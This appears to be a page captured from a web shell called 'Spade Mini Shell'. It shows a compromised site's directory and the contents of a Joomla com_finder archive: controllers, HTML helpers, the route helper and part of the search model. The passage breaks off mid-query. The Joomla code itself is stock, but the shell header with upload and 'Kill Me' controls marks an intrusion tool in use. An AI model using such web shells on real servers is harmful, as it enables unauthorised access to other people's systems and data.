Spade

Mini Shell

Directory:~$ /proc/self/root/home/lmsyaran/www/pusher/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ //proc/self/root/home/lmsyaran/www/pusher/com_finder.tar

controller.php000064400000003047151167427760007464 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR .
'/components/com_finder/helpers/language.php');

/**
 * Finder Component Controller.
 *
 * @since  2.5
 */
class FinderController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached.
[optional]
	 * @param   array    $urlparams  An array of safe URL parameters and their
variable types,
	 *                               for valid values see {@link
JFilterInput::clean()}. [optional]
	 *
	 * @return  JControllerLegacy  This object is to support chaining.
	 *
	 * @since   2.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		$input = JFactory::getApplication()->input;
		$cachable = true;

		// Load plugin language files.
		FinderHelperLanguage::loadPluginLanguage();

		// Set the default view name and format from the Request.
		$viewName = $input->get('view', 'search',
'word');
		$input->set('view', $viewName);

		// Don't cache view for search queries
		if ($input->get('q', null, 'string') ||
$input->get('f', null, 'int') ||
$input->get('t', null, 'array'))
		{
			$cachable = false;
		}

		$safeurlparams = array(
			'f'    => 'INT',
			'lang' => 'CMD'
		);

		return parent::display($cachable, $safeurlparams);
	}
}
controllers/suggestions.json.php000064400000004656151167427760013200
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Suggestions JSON controller for Finder.
 *
 * @since  2.5
 */
class FinderControllerSuggestions extends JControllerLegacy
{
	/**
	 * Method to find search query suggestions. Uses jQuery and
autocompleter.js
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function suggest()
	{
		/** @var \Joomla\CMS\Application\CMSApplication $app */
		$app = JFactory::getApplication();
		$app->mimeType = 'application/json';

		// Ensure caching is disabled as it depends on the query param in the
model
		$app->allowCache(false);

		$suggestions = $this->getSuggestions();

		// Send the response.
		$app->setHeader('Content-Type', $app->mimeType . ';
charset=' . $app->charSet);
		$app->sendHeaders();
		echo '{ "suggestions": ' . json_encode($suggestions)
. ' }';
		$app->close();
	}

	/**
	 * Method to find search query suggestions. Uses Mootools and
autocompleter.js
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their
variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @deprecated 3.4
	 */
	public function display($cachable = false, $urlparams = false)
	{
		/** @var \Joomla\CMS\Application\CMSApplication $app */
		$app = JFactory::getApplication();
		$app->mimeType = 'application/json';

		// Ensure caching is disabled as it depends on the query param in the
model
		$app->allowCache(false);

		$suggestions = $this->getSuggestions();

		// Send the response.
		$app->setHeader('Content-Type', $app->mimeType . ';
charset=' . $app->charSet);
		$app->sendHeaders();
		echo json_encode($suggestions);
		$app->close();
	}

	/**
	 * Method to retrieve the data from the database
	 *
	 * @return  array  The suggested words
	 *
	 * @since   3.4
	 */
	protected function getSuggestions()
	{
		$return = array();

		$params = JComponentHelper::getParams('com_finder');

		if ($params->get('show_autosuggest', 1))
		{
			// Get the suggestions.
			$model = $this->getModel('Suggestions',
'FinderModel');
			$return = $model->getItems();
		}

		// Check the data.
		if (empty($return))
		{
			$return = array();
		}

		return $return;
	}
}
finder.php000064400000000764151167427760006553 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperRoute', JPATH_COMPONENT .
'/helpers/route.php');

$controller = JControllerLegacy::getInstance('Finder');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
helpers/html/filter.php000064400000033711151167427760011175
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR .
'/components/com_finder/helpers/language.php');

/**
 * Filter HTML Behaviors for Finder.
 *
 * @since  2.5
 */
abstract class JHtmlFilter
{
	/**
	 * Method to generate filters using the slider widget and decorated
	 * with the FinderFilter JavaScript behaviors.
	 *
	 * @param   array  $options  An array of configuration options. [optional]
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function slider($options = array())
	{
		$db     = JFactory::getDbo();
		$query  = $db->getQuery(true);
		$user   = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());
		$html   = '';
		$filter = null;

		// Get the configuration options.
		$filterId    = array_key_exists('filter_id', $options) ?
$options['filter_id'] : null;
		$activeNodes = array_key_exists('selected_nodes', $options) ?
$options['selected_nodes'] : array();
		$classSuffix = array_key_exists('class_suffix', $options) ?
$options['class_suffix'] : '';

		// Load the predefined filter if specified.
		if (!empty($filterId))
		{
			$query->select('f.data, f.params')
				->from($db->quoteName('#__finder_filters') . ' AS
f')
				->where('f.filter_id = ' . (int) $filterId);

			// Load the filter data.
			$db->setQuery($query);

			try
			{
				$filter = $db->loadObject();
			}
			catch (RuntimeException $e)
			{
				return null;
			}

			// Initialize the filter parameters.
			if ($filter)
			{
				$filter->params = new Registry($filter->params);
			}
		}

		// Build the query to get the branch data and the number of child nodes.
		$query->clear()
			->select('t.*, count(c.id) AS children')
			->from($db->quoteName('#__finder_taxonomy') . ' AS
t')
			->join('INNER',
$db->quoteName('#__finder_taxonomy') . ' AS c ON
c.parent_id = t.id')
			->where('t.parent_id = 1')
			->where('t.state = 1')
			->where('t.access IN (' . $groups . ')')
			->group('t.id, t.parent_id, t.state, t.access, t.ordering,
t.title, c.parent_id')
			->order('t.ordering, t.title');

		// Limit the branch children to a predefined filter.
		if ($filter)
		{
			$query->where('c.id IN(' . $filter->data .
')');
		}

		// Load the branches.
		$db->setQuery($query);

		try
		{
			$branches = $db->loadObjectList('id');
		}
		catch (RuntimeException $e)
		{
			return null;
		}

		// Check that we have at least one branch.
		if (count($branches) === 0)
		{
			return null;
		}

		$branch_keys = array_keys($branches);
		$html .= JHtml::_('bootstrap.startAccordion',
'accordion', array('parent' => true,
'active' => 'accordion-' . $branch_keys[0])
		);

		// Load plugin language files.
		FinderHelperLanguage::loadPluginLanguage();

		// Iterate through the branches and build the branch groups.
		foreach ($branches as $bk => $bv)
		{
			// If the multi-lang plugin is enabled then drop the language branch.
			if ($bv->title === 'Language' &&
JLanguageMultilang::isEnabled())
			{
				continue;
			}

			// Build the query to get the child nodes for this branch.
			$query->clear()
				->select('t.*')
				->from($db->quoteName('#__finder_taxonomy') . ' AS
t')
				->where('t.parent_id = ' . (int) $bk)
				->where('t.state = 1')
				->where('t.access IN (' . $groups . ')')
				->order('t.ordering, t.title');

			// Self-join to get the parent title.
			$query->select('e.title AS parent_title')
				->join('LEFT',
$db->quoteName('#__finder_taxonomy', 'e') . '
ON ' . $db->quoteName('e.id') . ' = ' .
$db->quoteName('t.parent_id'));

			// Load the branches.
			$db->setQuery($query);

			try
			{
				$nodes = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				return null;
			}

			// Translate node titles if possible.
			$lang = JFactory::getLanguage();

			foreach ($nodes as $nk => $nv)
			{
				if (trim($nv->parent_title, '**') ===
'Language')
				{
					$title = FinderHelperLanguage::branchLanguageTitle($nv->title);
				}
				else
				{
					$key = FinderHelperLanguage::branchPlural($nv->title);
					$title = $lang->hasKey($key) ? JText::_($key) : $nv->title;
				}

				$nodes[$nk]->title = $title;
			}

			// Adding slides
			$html .= JHtml::_('bootstrap.addSlide',
				'accordion',
				JText::sprintf('COM_FINDER_FILTER_BRANCH_LABEL',
					JText::_(FinderHelperLanguage::branchSingular($bv->title)) . '
- ' . count($nodes)
				),
				'accordion-' . $bk
			);

			// Populate the toggle button.
			$html .= '<button class="btn jform-rightbtn"
type="button"
onclick="jQuery(\'[id=&quot;tax-'
				. $bk .
'&quot;]\').each(function(){this.click();});"><span
class="icon-checkbox-partial"></span> '
				. JText::_('JGLOBAL_SELECTION_INVERT') .
'</button><hr/>';

			// Populate the group with nodes.
			foreach ($nodes as $nk => $nv)
			{
				// Determine if the node should be checked.
				$checked = in_array($nk, $activeNodes) ? '
checked="checked"' : '';

				// Build a node.
				$html .= '<div class="control-group">';
				$html .= '<div class="controls">';
				$html .= '<label class="checkbox">';
				$html .= '<input type="checkbox" class="selector
filter-node' . $classSuffix . '" value="' . $nk .
'" name="t[]" id="tax-'
					. $bk . '"' . $checked . ' />';
				$html .= $nv->title;
				$html .= '</label>';
				$html .= '</div>';
				$html .= '</div>';
			}

			$html .= JHtml::_('bootstrap.endSlide');
		}

		$html .= JHtml::_('bootstrap.endAccordion');

		return $html;
	}

	/**
	 * Method to generate filters using select box dropdown controls.
	 *
	 * @param   FinderIndexerQuery  $idxQuery  A FinderIndexerQuery object.
	 * @param   array               $options   An array of options.
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function select($idxQuery, $options)
	{
		$user   = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());
		$filter = null;

		// Get the configuration options.
		$classSuffix = $options->get('class_suffix', null);
		$showDates   = $options->get('show_date_filters', false);

		// Try to load the results from cache.
		$cache   = JFactory::getCache('com_finder', '');
		$cacheId = 'filter_select_' .
serialize(array($idxQuery->filter, $options, $groups,
JFactory::getLanguage()->getTag()));

		// Check the cached results.
		if ($cache->contains($cacheId))
		{
			$branches = $cache->get($cacheId);
		}
		else
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true);

			// Load the predefined filter if specified.
			if (!empty($idxQuery->filter))
			{
				$query->select('f.data, ' .
$db->quoteName('f.params'))
					->from($db->quoteName('#__finder_filters') . ' AS
f')
					->where('f.filter_id = ' . (int) $idxQuery->filter);

				// Load the filter data.
				$db->setQuery($query);

				try
				{
					$filter = $db->loadObject();
				}
				catch (RuntimeException $e)
				{
					return null;
				}

				// Initialize the filter parameters.
				if ($filter)
				{
					$filter->params = new Registry($filter->params);
				}
			}

			// Build the query to get the branch data and the number of child nodes.
			$query->clear()
				->select('t.*, count(c.id) AS children')
				->from($db->quoteName('#__finder_taxonomy') . ' AS
t')
				->join('INNER',
$db->quoteName('#__finder_taxonomy') . ' AS c ON
c.parent_id = t.id')
				->where('t.parent_id = 1')
				->where('t.state = 1')
				->where('t.access IN (' . $groups . ')')
				->where('c.state = 1')
				->where('c.access IN (' . $groups . ')')
				->group($db->quoteName('t.id'))
				->order('t.ordering, t.title');

			// Limit the branch children to a predefined filter.
			if (!empty($filter->data))
			{
				$query->where('c.id IN(' . $filter->data .
')');
			}

			// Load the branches.
			$db->setQuery($query);

			try
			{
				$branches = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				return null;
			}

			// Check that we have at least one branch.
			if (count($branches) === 0)
			{
				return null;
			}

			// Iterate through the branches and build the branch groups.
			foreach ($branches as $bk => $bv)
			{
				// If the multi-lang plugin is enabled then drop the language branch.
				if ($bv->title === 'Language' &&
JLanguageMultilang::isEnabled())
				{
					continue;
				}

				// Build the query to get the child nodes for this branch.
				$query->clear()
					->select('t.*')
					->from($db->quoteName('#__finder_taxonomy') . '
AS t')
					->where('t.parent_id = ' . (int) $bk)
					->where('t.state = 1')
					->where('t.access IN (' . $groups . ')')
					->order('t.ordering, t.title');

				// Self-join to get the parent title.
				$query->select('e.title AS parent_title')
					->join('LEFT',
$db->quoteName('#__finder_taxonomy', 'e') . '
ON ' . $db->quoteName('e.id') . ' = ' .
$db->quoteName('t.parent_id'));

				// Limit the nodes to a predefined filter.
				if (!empty($filter->data))
				{
					$query->where('t.id IN(' . $filter->data .
')');
				}

				// Load the branches.
				$db->setQuery($query);

				try
				{
					$branches[$bk]->nodes = $db->loadObjectList('id');
				}
				catch (RuntimeException $e)
				{
					return null;
				}

				// Translate branch nodes if possible.
				$language = JFactory::getLanguage();

				foreach ($branches[$bk]->nodes as $node_id => $node)
				{
					if (trim($node->parent_title, '**') ===
'Language')
					{
						$title = FinderHelperLanguage::branchLanguageTitle($node->title);
					}
					else
					{
						$key = FinderHelperLanguage::branchPlural($node->title);
						$title = $language->hasKey($key) ? JText::_($key) :
$node->title;
					}

					$branches[$bk]->nodes[$node_id]->title = $title;
				}

				// Add the Search All option to the branch.
				array_unshift($branches[$bk]->nodes, array('id' =>
null, 'title' =>
JText::_('COM_FINDER_FILTER_SELECT_ALL_LABEL')));
			}

			// Store the data in cache.
			$cache->store($branches, $cacheId);
		}

		$html = '';

		// Add the dates if enabled.
		if ($showDates)
		{
			$html .= JHtml::_('filter.dates', $idxQuery, $options);
		}

		$html .= '<div class="filter-branch' . $classSuffix .
' control-group clearfix">';

		// Iterate through all branches and build code.
		foreach ($branches as $bk => $bv)
		{
			// If the multi-lang plugin is enabled then drop the language branch.
			if ($bv->title === 'Language' &&
JLanguageMultilang::isEnabled())
			{
				continue;
			}

			$active = null;

			// Check if the branch is in the filter.
			if (array_key_exists($bv->title, $idxQuery->filters))
			{
				// Get the request filters.
				$temp   =
JFactory::getApplication()->input->request->get('t',
array(), 'array');

				// Search for active nodes in the branch and get the active node.
				$active = array_intersect($temp, $idxQuery->filters[$bv->title]);
				$active = count($active) === 1 ? array_shift($active) : null;
			}

			// Build a node.
			$html .= '<div class="controls
finder-selects">';
			$html .= '<label for="tax-' .
JFilterOutput::stringURLSafe($bv->title) . '"
class="control-label">';
			$html .= JText::sprintf('COM_FINDER_FILTER_BRANCH_LABEL',
JText::_(FinderHelperLanguage::branchSingular($bv->title)));
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_(
				'select.genericlist',
				$branches[$bk]->nodes, 't[]', 'class="inputbox
advancedSelect"', 'id', 'title', $active,
				'tax-' . JFilterOutput::stringURLSafe($bv->title)
			);
			$html .= '</div>';
		}

		$html .= '</div>';

		return $html;
	}

	/**
	 * Method to generate fields for filtering dates
	 *
	 * @param   FinderIndexerQuery  $idxQuery  A FinderIndexerQuery object.
	 * @param   array               $options   An array of options.
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function dates($idxQuery, $options)
	{
		$html = '';

		// Get the configuration options.
		$classSuffix = $options->get('class_suffix', null);
		$loadMedia   = $options->get('load_media', true);
		$showDates   = $options->get('show_date_filters', false);

		if (!empty($showDates))
		{
			// Build the date operators options.
			$operators   = array();
			$operators[] = JHtml::_('select.option', 'before',
JText::_('COM_FINDER_FILTER_DATE_BEFORE'));
			$operators[] = JHtml::_('select.option', 'exact',
JText::_('COM_FINDER_FILTER_DATE_EXACTLY'));
			$operators[] = JHtml::_('select.option', 'after',
JText::_('COM_FINDER_FILTER_DATE_AFTER'));

			// Load the CSS/JS resources.
			if ($loadMedia)
			{
				JHtml::_('stylesheet', 'com_finder/dates.css',
array('version' => 'auto', 'relative'
=> true));
			}

			// Open the widget.
			$html .= '<ul
id="finder-filter-select-dates">';

			// Start date filter.
			$attribs['class'] = 'input-medium';
			$html .= '<li class="filter-date' . $classSuffix .
'">';
			$html .= '<label for="filter_date1"
class="hasTooltip" title ="' .
JText::_('COM_FINDER_FILTER_DATE1_DESC') .
'">';
			$html .= JText::_('COM_FINDER_FILTER_DATE1');
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_(
				'select.genericlist',
				$operators, 'w1', 'class="inputbox
filter-date-operator advancedSelect"', 'value',
'text', $idxQuery->when1, 'finder-filter-w1'
			);
			$html .= JHtml::_('calendar', $idxQuery->date1,
'd1', 'filter_date1', '%Y-%m-%d', $attribs);
			$html .= '</li>';

			// End date filter.
			$html .= '<li class="filter-date' . $classSuffix .
'">';
			$html .= '<label for="filter_date2"
class="hasTooltip" title ="' .
JText::_('COM_FINDER_FILTER_DATE2_DESC') .
'">';
			$html .= JText::_('COM_FINDER_FILTER_DATE2');
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_(
				'select.genericlist',
				$operators, 'w2', 'class="inputbox
filter-date-operator advancedSelect"', 'value',
'text', $idxQuery->when2, 'finder-filter-w2'
			);
			$html .= JHtml::_('calendar', $idxQuery->date2,
'd2', 'filter_date2', '%Y-%m-%d', $attribs);
			$html .= '</li>';

			// Close the widget.
			$html .= '</ul>';
		}

		return $html;
	}
}
helpers/html/query.php000064400000010772151167427760011057 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Query HTML behavior class for Finder.
 *
 * @since  2.5
 */
abstract class JHtmlQuery
{
	/**
	 * Method to get the explained (human-readable) search query.
	 *
	 * @param   FinderIndexerQuery  $query  A FinderIndexerQuery object to
explain.
	 *
	 * @return  mixed  String if there is data to explain, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function explained(FinderIndexerQuery $query)
	{
		$parts = array();

		// Process the required tokens.
		foreach ($query->included as $token)
		{
			if ($token->required && (!isset($token->derived) ||
$token->derived == false))
			{
				$parts[] = '<span class="query-required">' .
JText::sprintf('COM_FINDER_QUERY_TOKEN_REQUIRED',
$token->term) . '</span>';
			}
		}

		// Process the optional tokens.
		foreach ($query->included as $token)
		{
			if (!$token->required && (!isset($token->derived) ||
$token->derived == false))
			{
				$parts[] = '<span class="query-optional">' .
JText::sprintf('COM_FINDER_QUERY_TOKEN_OPTIONAL',
$token->term) . '</span>';
			}
		}

		// Process the excluded tokens.
		foreach ($query->excluded as $token)
		{
			if (!isset($token->derived) || $token->derived === false)
			{
				$parts[] = '<span class="query-excluded">' .
JText::sprintf('COM_FINDER_QUERY_TOKEN_EXCLUDED',
$token->term) . '</span>';
			}
		}

		// Process the start date.
		if ($query->date1)
		{
			$date =
JFactory::getDate($query->date1)->format(JText::_('DATE_FORMAT_LC'));
			$datecondition = JText::_('COM_FINDER_QUERY_DATE_CONDITION_' .
strtoupper($query->when1));
			$parts[] = '<span class="query-start-date">' .
JText::sprintf('COM_FINDER_QUERY_START_DATE', $datecondition,
$date) . '</span>';
		}

		// Process the end date.
		if ($query->date2)
		{
			$date =
JFactory::getDate($query->date2)->format(JText::_('DATE_FORMAT_LC'));
			$datecondition = JText::_('COM_FINDER_QUERY_DATE_CONDITION_' .
strtoupper($query->when2));
			$parts[] = '<span class="query-end-date">' .
JText::sprintf('COM_FINDER_QUERY_END_DATE', $datecondition,
$date) . '</span>';
		}

		// Process the taxonomy filters.
		if (!empty($query->filters))
		{
			// Get the filters in the request.
			$t =
JFactory::getApplication()->input->request->get('t',
array(), 'array');

			// Process the taxonomy branches.
			foreach ($query->filters as $branch => $nodes)
			{
				// Process the taxonomy nodes.
				$lang = JFactory::getLanguage();

				foreach ($nodes as $title => $id)
				{
					// Translate the title for Types
					$key = FinderHelperLanguage::branchPlural($title);

					if ($lang->hasKey($key))
					{
						$title = JText::_($key);
					}

					// Don't include the node if it is not in the request.
					if (!in_array($id, $t))
					{
						continue;
					}

					// Add the node to the explanation.
					$parts[] = '<span class="query-taxonomy">'
						. JText::sprintf('COM_FINDER_QUERY_TAXONOMY_NODE', $title,
JText::_(FinderHelperLanguage::branchSingular($branch)))
						. '</span>';
				}
			}
		}

		// Build the interpreted query.
		return count($parts) ?
JText::sprintf('COM_FINDER_QUERY_TOKEN_INTERPRETED',
implode(JText::_('COM_FINDER_QUERY_TOKEN_GLUE'), $parts)) : null;
	}

	/**
	 * Method to get the suggested search query.
	 *
	 * @param   FinderIndexerQuery  $query  A FinderIndexerQuery object.
	 *
	 * @return  mixed  String if there is a suggestion, false otherwise.
	 *
	 * @since   2.5
	 */
	public static function suggested(FinderIndexerQuery $query)
	{
		$suggested = false;

		// Check if the query input is empty.
		if (empty($query->input))
		{
			return $suggested;
		}

		// Check if there were any ignored or included keywords.
		if (count($query->ignored) || count($query->included))
		{
			$suggested = $query->input;

			// Replace the ignored keyword suggestions.
			foreach (array_reverse($query->ignored) as $token)
			{
				if (isset($token->suggestion))
				{
					$suggested = str_ireplace($token->term, $token->suggestion,
$suggested);
				}
			}

			// Replace the included keyword suggestions.
			foreach (array_reverse($query->included) as $token)
			{
				if (isset($token->suggestion))
				{
					$suggested = str_ireplace($token->term, $token->suggestion,
$suggested);
				}
			}

			// Check if we made any changes.
			if ($suggested == $query->input)
			{
				$suggested = false;
			}
		}

		return $suggested;
	}
}
helpers/route.php000064400000007043151167427760010101 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Finder route helper class.
 *
 * @since  2.5
 */
class FinderHelperRoute
{
	/**
	 * Method to get the route for a search page.
	 *
	 * @param   integer  $f  The search filter id. [optional]
	 * @param   string   $q  The search query string. [optional]
	 *
	 * @return  string  The search route.
	 *
	 * @since   2.5
	 */
	public static function getSearchRoute($f = null, $q = null)
	{
		// Get the menu item id.
		$query = array('view' => 'search', 'q'
=> $q, 'f' => $f);
		$item = self::getItemid($query);

		// Get the base route.
		$uri = clone
JUri::getInstance('index.php?option=com_finder&view=search');

		// Add the pre-defined search filter if present.
		if ($f !== null)
		{
			$uri->setVar('f', $f);
		}

		// Add the search query string if present.
		if ($q !== null)
		{
			$uri->setVar('q', $q);
		}

		// Add the menu item id if present.
		if ($item !== null)
		{
			$uri->setVar('Itemid', $item);
		}

		return $uri->toString(array('path', 'query'));
	}

	/**
	 * Method to get the route for an advanced search page.
	 *
	 * @param   integer  $f  The search filter id. [optional]
	 * @param   string   $q  The search query string. [optional]
	 *
	 * @return  string  The advanced search route.
	 *
	 * @since   2.5
	 */
	public static function getAdvancedRoute($f = null, $q = null)
	{
		// Get the menu item id.
		$query = array('view' => 'advanced', 'q'
=> $q, 'f' => $f);
		$item = self::getItemid($query);

		// Get the base route.
		$uri = clone
JUri::getInstance('index.php?option=com_finder&view=advanced');

		// Add the pre-defined search filter if present.
		if ($q !== null)
		{
			$uri->setVar('f', $f);
		}

		// Add the search query string if present.
		if ($q !== null)
		{
			$uri->setVar('q', $q);
		}

		// Add the menu item id if present.
		if ($item !== null)
		{
			$uri->setVar('Itemid', $item);
		}

		return $uri->toString(array('path', 'query'));
	}

	/**
	 * Method to get the most appropriate menu item for the route based on the
	 * supplied query needles.
	 *
	 * @param   array  $query  An array of URL parameters.
	 *
	 * @return  mixed  An integer on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function getItemid($query)
	{
		static $items, $active;

		// Get the menu items for com_finder.
		if (!$items || !$active)
		{
			$app = JFactory::getApplication('site');
			$com = JComponentHelper::getComponent('com_finder');
			$menu = $app->getMenu();
			$active = $menu->getActive();
			$items = $menu->getItems('component_id', $com->id);
			$items = is_array($items) ? $items : array();
		}

		// Try to match the active view and filter.
		if ($active && @$active->query['view'] ==
@$query['view'] && @$active->query['f'] ==
@$query['f'])
		{
			return $active->id;
		}

		// Try to match the view, query, and filter.
		foreach ($items as $item)
		{
			if (@$item->query['view'] == @$query['view']
&& @$item->query['q'] == @$query['q']
&& @$item->query['f'] == @$query['f'])
			{
				return $item->id;
			}
		}

		// Try to match the view and filter.
		foreach ($items as $item)
		{
			if (@$item->query['view'] == @$query['view']
&& @$item->query['f'] == @$query['f'])
			{
				return $item->id;
			}
		}

		// Try to match the view.
		foreach ($items as $item)
		{
			if (@$item->query['view'] == @$query['view'])
			{
				return $item->id;
			}
		}

		return null;
	}
}
models/search.php000064400000102332151167427760010026 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

// Register dependent classes.
define('FINDER_PATH_INDEXER', JPATH_ADMINISTRATOR .
'/components/com_finder/helpers/indexer');
JLoader::register('FinderIndexerHelper', FINDER_PATH_INDEXER .
'/helper.php');
JLoader::register('FinderIndexerQuery', FINDER_PATH_INDEXER .
'/query.php');
JLoader::register('FinderIndexerResult', FINDER_PATH_INDEXER .
'/result.php');
JLoader::register('FinderIndexerStemmer', FINDER_PATH_INDEXER .
'/stemmer.php');

/**
 * Search model class for the Finder package.
 *
 * @since  2.5
 */
class FinderModelSearch extends JModelList
{
	/**
	 * Context string for the model type
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'com_finder.search';

	/**
	 * The query object is an instance of FinderIndexerQuery which contains
and
	 * models the entire search query including the text input; static and
	 * dynamic taxonomy filters; date filters; etc.
	 *
	 * @var    FinderIndexerQuery
	 * @since  2.5
	 */
	protected $query;

	/**
	 * An array of all excluded terms ids.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $excludedTerms = array();

	/**
	 * An array of all included terms ids.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $includedTerms = array();

	/**
	 * An array of all required terms ids.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $requiredTerms = array();

	/**
	 * Method to get the results of the query.
	 *
	 * @return  array  An array of FinderIndexerResult objects.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function getResults()
	{
		// Check if the search query is valid.
		if (empty($this->query->search))
		{
			return null;
		}

		// Check if we should return results.
		if (empty($this->includedTerms) &&
(empty($this->query->filters) || !$this->query->empty))
		{
			return null;
		}

		// Get the store id.
		$store = $this->getStoreId('getResults');

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the row data.
		$items = $this->getResultsData();

		// Check the data.
		if (empty($items))
		{
			return null;
		}

		// Create the query to get the search results.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('link_id') . ', ' .
$db->quoteName('object'))
			->from($db->quoteName('#__finder_links'))
			->where($db->quoteName('link_id') . ' IN (' .
implode(',', array_keys($items)) . ')');

		// Load the results from the database.
		$db->setQuery($query);
		$rows = $db->loadObjectList('link_id');

		// Set up our results container.
		$results = $items;

		// Convert the rows to result objects.
		foreach ($rows as $rk => $row)
		{
			// Build the result object.
			$result = unserialize($row->object);
			$result->weight = $results[$rk];
			$result->link_id = $rk;

			// Add the result back to the stack.
			$results[$rk] = $result;
		}

		// Switch to a non-associative array.
		$results = array_values($results);

		// Push the results into cache.
		$this->store($store, $results);

		// Return the results.
		return $this->retrieve($store);
	}

	/**
	 * Method to get the total number of results.
	 *
	 * @return  integer  The total number of results.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function getTotal()
	{
		// Check if the search query is valid.
		if (empty($this->query->search))
		{
			return null;
		}

		// Check if we should return results.
		if (empty($this->includedTerms) &&
(empty($this->query->filters) || !$this->query->empty))
		{
			return null;
		}

		// Get the store id.
		$store = $this->getStoreId('getTotal');

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the results total.
		$total = $this->getResultsTotal();

		// Push the total into cache.
		$this->store($store, $total);

		// Return the total.
		return $this->retrieve($store);
	}

	/**
	 * Method to get the query object.
	 *
	 * @return  FinderIndexerQuery  A query object.
	 *
	 * @since   2.5
	 */
	public function getQuery()
	{
		// Return the query object.
		return $this->query;
	}

	/**
	 * Method to build a database query to load the list data.
	 *
	 * @return  JDatabaseQuery  A database query.
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		// Get the store id.
		$store = $this->getStoreId('getListQuery');

		// Use the cached data if possible.
		if ($this->retrieve($store, false))
		{
			return clone $this->retrieve($store, false);
		}

		// Set variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('l.link_id')
			->from($db->quoteName('#__finder_links') . ' AS
l')
			->where('l.access IN (' . $groups . ')')
			->where('l.state = 1')
			->where('l.published = 1');

		// Get the null date and the current date, minus seconds.
		$nullDate = $db->quote($db->getNullDate());
		$nowDate = $db->quote(substr_replace(JFactory::getDate()->toSql(),
'00', -2));

		// Add the publish up and publish down filters.
		$query->where('(l.publish_start_date = ' . $nullDate .
' OR l.publish_start_date <= ' . $nowDate . ')')
			->where('(l.publish_end_date = ' . $nullDate . ' OR
l.publish_end_date >= ' . $nowDate . ')');

		/*
		 * Add the taxonomy filters to the query. We have to join the taxonomy
		 * map table for each group so that we can use AND clauses across
		 * groups. Within each group there can be an array of values that will
		 * use OR clauses.
		 */
		if (!empty($this->query->filters))
		{
			// Convert the associative array to a numerically indexed array.
			$groups = array_values($this->query->filters);

			// Iterate through each taxonomy group and add the join and where.
			for ($i = 0, $c = count($groups); $i < $c; $i++)
			{
				// We use the offset because each join needs a unique alias.
				$query->join('INNER',
$db->quoteName('#__finder_taxonomy_map') . ' AS t' .
$i . ' ON t' . $i . '.link_id = l.link_id')
